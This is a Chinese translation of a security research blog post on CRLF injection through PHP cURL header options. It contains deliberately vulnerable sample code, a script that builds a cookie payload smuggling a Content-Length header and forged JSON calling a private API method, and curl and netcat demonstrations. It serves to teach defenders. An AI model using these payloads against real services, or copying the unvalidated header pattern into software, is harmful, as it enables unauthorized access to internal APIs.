将CRLF注入到PHP的cURL选项中

栏目: PHP · 发布时间: 6年前

内容简介:这是一篇关于将回车符和换行符注入调用内部 API的帖子。一年前我在GitHub上写了这篇文章的要点,但GitHub不是特别适合发布博客文章。你现在所看到的这 篇文章我添加了更多细节,所以它不是是直接复制粘贴的。我喜欢做白盒测试。我不是一个优秀的黑盒测试人员,但我花了十多年的时间阅读和写PHP代码 – 并且在此过程中犯了很多错误 – 所以我知道要注意些什么。

将CRLF注入到 <a href='https://www.codercto.com/topics/18749.html'>PHP</a> 的cURL选项中

这是一篇关于将回车符和换行符注入调用内部 API的帖子。一年前我在GitHub上写了这篇文章的要点,但GitHub不是特别适合发布博客文章。你现在所看到的这 篇文章我添加了更多细节,所以它不是是直接复制粘贴的。

我喜欢做白盒测试。我不是一个优秀的黑盒测试人员,但我花了十多年的时间阅读和写PHP代码 – 并且在此过程中犯了很多错误 – 所以我知道要注意些什么。

我浏览了一些源代码发现了一个和这个有点像的函数:

<?php
// common.php

function getTrialGroups(){
    $trialGroups = 'default';

    if (isset($_COOKIE['trialGroups'])){
        $trialGroups = $_COOKIE['trialGroups'];
    }

    return explode(",", $trialGroups);
}

我所看到的系统都有一个“Trial Groups”的概念。 每个用户会话都有一个与之关联的组,在cookie中以逗号分隔的列表存储。 我的想法是,当推出新功能时,可以首先为少数客户启用这些功能,以降低功能启动的风险,或者允许对特性的不同变体进行比较(这种方法称为A /B测试)。 getTrialGroups()函数只是读取cookie值,将列表拆开并为用户返回一组 trial groups。

此功能中缺少白名单立即引起了我的注意。 我查找了其余部分的代码库来找调用函数的具体位置,这样我就可以看到对其返回值是否有任何不安全的使用。

我不能和你们分享具体的代码,但我把我的发现大致的写了下来:

<?php
// server.php

// Include common functions
require __DIR__.'/common.php';

// Using the awesome httpbin.org here to just reflect
// our whole request back at us as JSON   
$ch = curl_init("http://httpbin.org/post");

// Make curl_exec return the response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Set the content type and pass through any trial groups
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/json",
    "X-Trial-Groups: " . implode(",", getTrialGroups())
]);

// Call the 'getPublicData' RPC method on the internal API
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    "method" => "getPublicData",
    "params" => []
]));

// Return the response to the user
echo curl_exec($ch);

curl_close($ch);

此代码使用cURL库在内部JSON API上调用getPublicData方法。 该API需要了解用户的trial groups,以便相应地更改其行为,所以trial groups 会在X-Trial-Groups标头中传递给API。

问题是,在设置CURLOPT_HTTPHEADER时不会检查回车符或换行符字符的值。 因为getTrialGroups()函数返回用户可控数据,因此可以将任意头部注入到API请求中。

演示

为了让大家更容易的理解,我将使用PHP的内置Web服务器在本地运行server.php:

tom@slim:~/tmp/crlf php -S localhost:1234 server.php
PHP 7.2.7-0ubuntu0.18.04.2 Development Server started at Sun Jul 29 14:15:14 2018
Listening on http://localhost:1234
Document root is /home/tom/tmp/crlf
Press Ctrl-C to quit.

使用cURL命令行实用程序,我们可以发送包含trialGroups cookie的示例请求:

tom@slim:~ curl -s localhost:1234 -b 'trialGroups=A1,B2' 
{
  "args": {}, 
  "data": "{\"method\":\"getPublicData\",\"params\":[]}", 
  "files": {}, 
  "form": {}, 
  "headers": {
    "Accept": "*/*", 
    "Connection": "close", 
    "Content-Length": "38", 
    "Content-Type": "application/json", 
    "Host": "httpbin.org", 
    "X-Trial-Groups": "A1,B2"
  }, 
  "json": {
    "method": "getPublicData", 
    "params": []
  }, 
  "origin": "X.X.X.X", 
  "url": "http://httpbin.org/post"
}

我使用 http://httpbin.org/post 代替内部API端点,它返回一个JSON文档,描述发送的POST请求,文档中包括请求中的所有POST数据和标头。

有关响应一个需要向大家提一下的事项是发送到httpbin.org的X-Trial-Groups标头包含trialGroups cookie中的A1,B2字符串。 然后现在试一下一些CRLF(回车换行)注入:

tom@slim:~ curl -s localhost:1234 -b 'trialGroups=A1,B2%0d%0aX-Injected:%20true' 
{
  "args": {}, 
  "data": "{\"method\":\"getPublicData\",\"params\":[]}", 
  "files": {}, 
  "form": {}, 
  "headers": {
    "Accept": "*/*", 
    "Connection": "close", 
    "Content-Length": "38", 
    "Content-Type": "application/json", 
    "Host": "httpbin.org", 
    "X-Injected": "true", 
    "X-Trial-Groups": "A1,B2"
  }, 
  "json": {
    "method": "getPublicData", 
    "params": []
  }, 
  "origin": "X.X.X.X", 
  "url": "http://httpbin.org/post"
}

PHP会自动解码cookie值中的URL编码序列(例如%0d,%0a),因此我们可以在我们发送的cookie值中使用URL编码的回车符(%0d)和换行符(%0a)。 HTTP标头由CRLF序列分隔,因此当在PHP cURL库中写入请求标头时,X-Injected: true部分的payload将被视为单独的标头。太奇妙了!

HTTP请求

那么通过在请求中注入标头,可以做些什么?说实话:其实也做不了什么。 如果我们深入研究一下HTTP请求的结构,你会发现我们可以做的不仅仅是注入头文件; 我们也可以注入POST数据!

要了解漏洞利用程序的原理,您需要了解一些有关HTTP请求的信息。 可以执行的最基本的HTTP POST请求如下:

POST /post HTTP/1.1
Host: httpbin.org
Connection: close
Content-Length: 7
thedata

让我们逐行分析。

POST /post HTTP/1.1

第一行说使用POST方法使用HTTP版本1.1向/post端点发送请求。

Host: httpbin.org

此标头告诉远程服务器我们正在httpbin.org上请求页面。 这似乎是多余的,但是当您连接到HTTP服务器时,您将连接到服务器的IP地址,而不是域名。 如果您的请求中未包含Host标头,那么服务器将无法知道您在浏览器的地址栏中输入的域名。

Connection: close

此标头要求服务器在完成发送响应后关闭底层TCP连接。 如果没有此标头,则在发送响应后,连接可能会一直保持打开状态。

Content-Length: 7

Content-Length标头告诉服务器在请求主体中将发送多少字节的数据。 这个很重要:)

这里没有错; 这个空白的行只包含一个CRLF序列。 它告诉服务器我们已完成发送标头,并且即将发送正文请求。

thedata

最后我们发送正文请求(AKA POST数据)。 它的长度(以字节为单位)必须与我们之前发送的Content-Length标头匹配,因为我们告诉服务器它必须读取那么多字节。

我们通过将echo命令传递给netcat来把此请求发送到httpbin.org:

tom@slim:~ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\nContent-Length: 7\r\n\r\nthedata" | nc httpbin.org 80
HTTP/1.1 200 OK
Connection: close
Server: gunicorn/19.9.0
Date: Sun, 29 Jul 2018 14:16:34 GMT
Content-Type: application/json
Content-Length: 257
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Via: 1.1 vegur
{
  "args": {}, 
  "data": "thedata", 
  "files": {}, 
  "form": {}, 
  "headers": {
    "Connection": "close", 
    "Content-Length": "7", 
    "Host": "httpbin.org"
  }, 
  "json": null, 
  "origin": "X.X.X.X", 
  "url": "http://httpbin.org/post"
}

如我所料。 我们得到一些响应标头,一个CRLF序列,然后是响应的主体。

所以,技巧在于:如果你发送的POST数据比你在Content-Length标题中所说的要多,会发生什么? 来试一试下:

tom@slim:~ echo -e "POST /post HTTP/1.1\r\nHost: httpbin.org\r\nConnection: close\r\nContent-Length: 7\r\n\r\nthedata some more data" | nc httpbin.org 80
HTTP/1.1 200 OK
Connection: close
Server: gunicorn/19.9.0
Date: Sun, 29 Jul 2018 14:20:10 GMT
Content-Type: application/json
Content-Length: 257
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Via: 1.1 vegur
{
  "args": {}, 
  "data": "thedata", 
  "files": {}, 
  "form": {}, 
  "headers": {
    "Connection": "close", 
    "Content-Length": "7", 
    "Host": "httpbin.org"
  }, 
  "json": null, 
  "origin": "X.X.X.X", 
  "url": "http://httpbin.org/post"
}

我们保持Content-Length标头相同,告诉服务器我们要发送7个字节,并向请求体添加更多数据,但服务器只读取前7个字节。 这就是我们可以力用这个漏洞的诀窍。

漏洞利用

事实证明,当设置CURLOPT_HTTPHEADER选项时,不仅可以使用单个CRLF序列注入标头,还可以使用双CRLF序列注入POST数据。 这就是我们的计划: 制作我们自己的JSON POST数据,调用除getPublicData之外的一些方法; 叫做getPrivateData

以字节为单位获取该数据的长度

使用单个CRLF序列注入Content-Length标头,指定服务器仅读取该字节长度的数据

注入两个CRLF序列,然后我们的恶意JSON作为POST数据

如果一切顺利,内部API应完全忽略合法传入的JSONPOST数据,我们的恶意JSON得以利用。

为了让我轻松一些,我更愿意写一些小脚本来生成这些类型的payloads; 它减少了我犯错误的机会,并能够让我专注的弄明白错误的原因。 这是我写的一个小脚本:

tom@slim:~ cat gencookie.php 
<?php
$postData = '{"method": "getPrivateData", "params": []}';
$length = strlen($postData);
$payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$postData}";
echo "trialGroups=".urlencode($payload);
tom@slim:~ php gencookie.php 
trialGroups=ignore%0D%0AContent-Length%3A+42%0D%0A%0D%0A%7B%22method%22%3A+%22getPrivateData%22%2C+%22params%22%3A+%5B%5D%7D

试一试:

tom@slim:~ curl -s localhost:1234 -b $(php gencookie.php) 
{
  "args": {}, 
  "data": "{\"method\": \"getPrivateData\", \"params\": []}", 
  "files": {}, 
  "form": {}, 
  "headers": {
    "Accept": "*/*", 
    "Connection": "close", 
    "Content-Length": "42", 
    "Content-Type": "application/json", 
    "Host": "httpbin.org", 
    "X-Trial-Groups": "ignore"
  }, 
  "json": {
    "method": "getPrivateData", 
    "params": []
  }, 
  "origin": "X.X.X.X", 
  "url": "http://httpbin.org/post"
}

成功了! 我们将x-Trial-Groups设置为忽略标头,注入Content-Length标头和我们自己的POST数据。 我们的POST数据可以合法发送,但服务器完全忽略了:)

这种类型的bug在做黑盒测试时不太可能被发现,但我认为它仍然值得让我写出来,因为现在有很多开源代码正在被使用,教育一下那些正在用可被攻击载体写代码的人总是有好处的,因为他们可能真的不知道这些载体可被攻击。

其他载体

自从发现这个bug以来,我一直试着留意类似的情况。 在我的研究中,我发现CURLOPT_HTTPHEADER并不是唯一容易遭受同样攻击的cURL选项。 以下选项(可能还有其他选项!)会在请求中隐式设置标头,并且容易受到攻击:

CURLOPT_HEADER
CURLOPT_COOKIE
CURLOPT_RANGE
CURLOPT_REFERER
CURLOPT_USERAGENT
CURLOPT_PROXYHEADER

如果你发现其他类似攻击,请告诉我:)


以上所述就是小编给大家介绍的《将CRLF注入到PHP的cURL选项中》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Definitive Guide to MongoDB

The Definitive Guide to MongoDB

Peter Membrey、Wouter Thielen / Apress / 2010-08-26 / USD 44.99

MongoDB, a cross-platform NoSQL database, is the fastest-growing new database in the world. MongoDB provides a rich document orientated structure with dynamic queries that you’ll recognize from RDMBS ......一起来看看 《The Definitive Guide to MongoDB》 这本书的介绍吧!

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具